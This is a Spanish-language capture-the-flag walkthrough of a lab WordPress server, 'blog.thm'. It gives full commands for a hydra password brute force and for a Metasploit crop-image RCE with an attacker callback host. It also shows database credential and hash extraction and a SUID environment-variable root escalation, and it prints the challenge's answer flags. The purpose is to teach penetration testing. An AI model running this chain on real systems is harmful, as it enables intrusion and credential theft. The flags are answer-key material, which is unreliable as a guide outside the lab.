Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es añadir el host objetivo a nuestro archivo /etc/hosts para mapear el dominio blog.thm a la dirección IP asignada (10.128.165.95):
Escaneo Completo de Nmap
Realizamos un escaneo completo de puertos TCP (-p-), identificando versiones (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- blog.thm
Resultados Clave de Nmap
El escaneo revela 4 puertos abiertos principales:
- Puerto 22 (SSH): Servidor
OpenSSH 7.6p1 Ubuntu 4ubuntu0.3(Ubuntu Linux; protocolo 2.0). - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.29corriendo WordPress 5.0 con el título “Billy Joel’s IT Blog; The IT blog”. Se identifica/wp-admin/en el archivorobots.txt. - Puerto 139 y 445 (SMB): Servidor de compartición de archivos Samba (
Samba smbd 3.X - 4.XySamba smbd 4.7.6-Ubuntu).
Fase 2: Enumeración de Recursos Compartidos (SMB)
1. Listado de carpetas compartidas
Enumeramos los recursos compartidos en el servidor Samba sin autenticar (acceso anónimo/nulo) utilizando smbclient:
smbclient -L blog.thm -N
Vemos un recurso compartido sospechoso llamado BillySMB. Comprobamos los permisos y mapeo de las carpetas:
La enumeración detallada del servicio Samba mediante la herramienta enum4linux nos revela las SID de los usuarios del sistema, detectando dos cuentas locales de usuario:
bjoel(Billy Joel)smb
2. Extracción de archivos del recurso compartido
Nos conectamos al recurso BillySMB como usuario invitado (guest):
smbclient //blog.thm/BillySMB -U guest
Dentro del directorio, encontramos tres archivos interesantes y los descargamos a nuestra máquina local:
Alice-White-Rabbit.jpgtswift.mp4check-this.png
Fase 3: Análisis de los Archivos Obtenidos (¿Vía Intrusión o Trampa?)
1. El código QR de check-this.png
El archivo check-this.png contiene un código QR:
Lo escaneamos localmente con la herramienta zbarimg:
zbarimg check-this.png
El código QR nos redirige a una URL de YouTube correspondiente al tema “We Didn’t Start The Fire” de Billy Joel. Esto es un rabbit hole o distracción humorística.
2. Esteganografía en Alice-White-Rabbit.jpg
Intentamos buscar archivos ocultos en la imagen Alice-White-Rabbit.jpg utilizando la herramienta stegseek con el diccionario rockyou.txt:
stegseek Alice-White-Rabbit.jpg /usr/share/wordlists/rockyou.txt
El descifrado de esteganografía tiene éxito con una contraseña vacía (""), extrayendo el archivo note.txt (guardado como Alice-White-Rabbit.jpg.out). Al abrirlo, leemos el siguiente mensaje:
You've found yourself in a rabbit hole, friend.
Esto nos confirma explícitamente que toda la línea de análisis de los archivos de Samba es una trampa. Nuestra vía real de intrusión debe estar en la web.
Fase 4: Enumeración de WordPress y Fuerza Bruta (Acceso Inicial)
1. Descubrimiento de Usuarios en WordPress
Visitamos el blog principal en http://blog.thm. Encontramos una publicación titulada “A Note From Mom” escrita por el usuario Karen Wheeler:
Ejecutamos wpscan para enumerar de manera automatizada a los usuarios y plugins vulnerables:
wpscan --url http://blog.thm
Inspeccionando más a fondo el post de Karen Wheeler (author/kwheel/), leemos un mensaje dirigido a “Billy”:
Gracias a esta información y al fuzzing de autores, identificamos los nombres de usuario reales en la base de datos de WordPress:
kwheel(Karen Wheeler)bjoel(Billy Joel)
2. Fuerza Bruta SSH/HTTP a kwheel
Utilizamos hydra para lanzar un ataque de fuerza bruta por diccionario contra el panel de inicio de sesión de WordPress (/wp-login.php) para el usuario kwheel:
hydra -l kwheel -P /usr/share/wordlists/rockyou.txt blog.thm http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:incorrect" -v
Hydra encuentra con éxito la contraseña de kwheel:
- Contraseña:
cutiepie1
Iniciamos sesión en http://blog.thm/wp-admin/ con estas credenciales:
El usuario kwheel no tiene rango de Administrador (no aparecen opciones de instalación de plugins, edición de código ni configuraciones generales), pero cuenta con permisos de Autor, lo que le permite crear borradores de entradas y cargar imágenes multimedia al servidor.
Fase 5: Explotación Web y Ejecución de Comandos (RCE)
1. Análisis de Vulnerabilidades (CVE-2019-8943)
Investigamos vulnerabilidades que afecten a WordPress 5.0. Encontramos una vulnerabilidad crítica documentada como CVE-2019-8943 (junto con CVE-2019-8942) conocida como WordPress Crop-image Shell Upload:
Esta vulnerabilidad de tipo Path Traversal se da en la función wp_crop_image(). Permite a usuarios autenticados con rango de autor (capaces de subir imágenes) modificar metadatos de las imágenes cargadas para forzar la inclusión de archivos locales PHP arbitrarios, logrando la ejecución de comandos.
2. Explotación automatizada en Metasploit
Iniciamos Metasploit (msfconsole) en nuestra terminal y seleccionamos el exploit correspondiente:
msfconsole
search wordpress crop
use exploit/multi/http/wp_crop_rce
show options
Configuramos las variables requeridas (IP de la máquina víctima, credenciales obtenidas de kwheel y nuestra IP atacante):
set PASSWORD cutiepie1
set USERNAME kwheel
set RHOSTS blog.thm
set LHOST 192.168.149.112
exploit
Metasploit sube la imagen adulterada, dispara la vulnerabilidad y nos abre una sesión interactiva de Meterpreter en la máquina víctima como el usuario del servidor web www-data.
Fase 6: Movimiento Lateral e Inspección del Sistema
1. Extracción de Credenciales en wp-config.php
Inspeccionamos el archivo de configuración de WordPress (wp-config.php) para ver si podemos saltar a la base de datos o reutilizar credenciales:
Obtenemos los parámetros de conexión de la base de datos:
- DB_USER:
wordpressuser - DB_PASSWORD:
LittleYellowLamp90!@
2. Acceso a MySQL y Extracción de Hashes de Contraseña
Accedemos localmente al monitor de MySQL:
mysql -u wordpressuser -p -h localhost
# Contraseña: LittleYellowLamp90!@
Dentro del monitor de base de datos, realizamos una consulta a la tabla wp_users para obtener todos los usuarios y sus hashes de contraseña:
select * from wp_users;
Obtenemos el hash del administrador bjoel:
$P$BjoFHe8zIyjnQe/CBvaltzzC6ckPc0/
Intentamos romper este hash de WordPress utilizando John the Ripper con el diccionario rockyou.txt:
El intento de crackeo finaliza sin resultados, lo que nos indica que descifrar la contraseña de bjoel no es necesario para escalar privilegios.
Fase 7: Escalada de Privilegios a Root
1. Búsqueda de Binarios SUID
Buscamos binarios en el sistema con permisos de ejecución SUID (que corren bajo el contexto de root):
find / -perm -u=s -type f 2>/dev/null
Detectamos un binario SUID inusual en la ruta:
/usr/sbin/checker
2. Análisis del Binario Checker con ltrace
Ejecutamos el programa checker a través de la herramienta ltrace para analizar qué llamadas de biblioteca realiza durante su ejecución:
ltrace checker
El resultado de ltrace nos desvela el funcionamiento del binario:
- El programa realiza una llamada
getenv("admin")para comprobar si existe la variable de entornoadmin. - Si la variable no está definida (devuelve
nil), imprime en pantalla el mensaje"Not an Admin"y finaliza. - Si la variable está presente, el binario procede a darnos acceso como root.
Por lo tanto, la explotación consiste en definir y exportar temporalmente la variable admin con cualquier valor, y a continuación, llamar de nuevo al programa:
export admin=1
/usr/sbin/checker
whoami
id
Al hacerlo, el binario con bit SUID ejecuta /bin/sh como el propietario del archivo, dándonos una terminal interactiva de root.
3. Búsqueda y Lectura de las Flags
Buscamos los archivos user.txt y root.txt en el sistema:
find / 2>/dev/null | grep user.txt
Encontramos dos archivos de flag de usuario:
/home/bjoel/user.txt/media/usb/user.txt
Leemos el contenido de /media/usb/user.txt (el archivo de /home/bjoel/ es un flag falso de despiste) y del archivo /root/root.txt:
cat /media/usb/user.txt
cat /root/root.txt
- Flag de Usuario:
c8421899aae571f7af486492b71a8ab7 - Flag de Root:
9a0b2b618bef9bfa7ac28c1353d9f318